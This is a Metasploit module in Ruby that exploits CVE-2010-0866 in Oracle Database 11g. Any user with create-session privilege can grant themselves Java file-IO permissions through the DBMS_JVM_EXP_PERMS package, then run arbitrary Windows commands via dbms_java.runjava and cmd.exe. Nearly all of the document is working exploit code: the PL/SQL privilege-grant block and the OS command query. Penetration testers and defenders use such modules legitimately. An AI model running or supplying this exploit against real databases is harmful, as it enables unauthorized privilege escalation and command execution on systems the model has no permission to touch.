Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution',  
'Description' => %q{  
This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows  
any user with create session privilege to grant themselves java IO privileges.  
Identified by David Litchfield. Works on 11g R1 and R2 (Windows only).  
},  
'Author' => [ 'sid[at]notsosecure.com' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2010-0866'],  
[ 'OSVDB', '62184'],  
[ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ],  
[ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ],  
],  
'DisclosureDate' => '2010-02-01'))  
  
register_options(  
[  
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha(rand(10) + 1)  
  
  
package = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','"  
package << "<" << "<ALL FILES>>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"  
os_code = "select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c #{datastore['CMD']}')from dual"  
  
begin  
print_status("Attempting to grant JAVA IO Privileges")  
prepare_exec(package)  
print_status("Attempting to execute OS Code")  
prepare_exec(os_code)  
rescue => e  
print_error("Error: #{e.class} #{e}")  
end  
end  
end  
`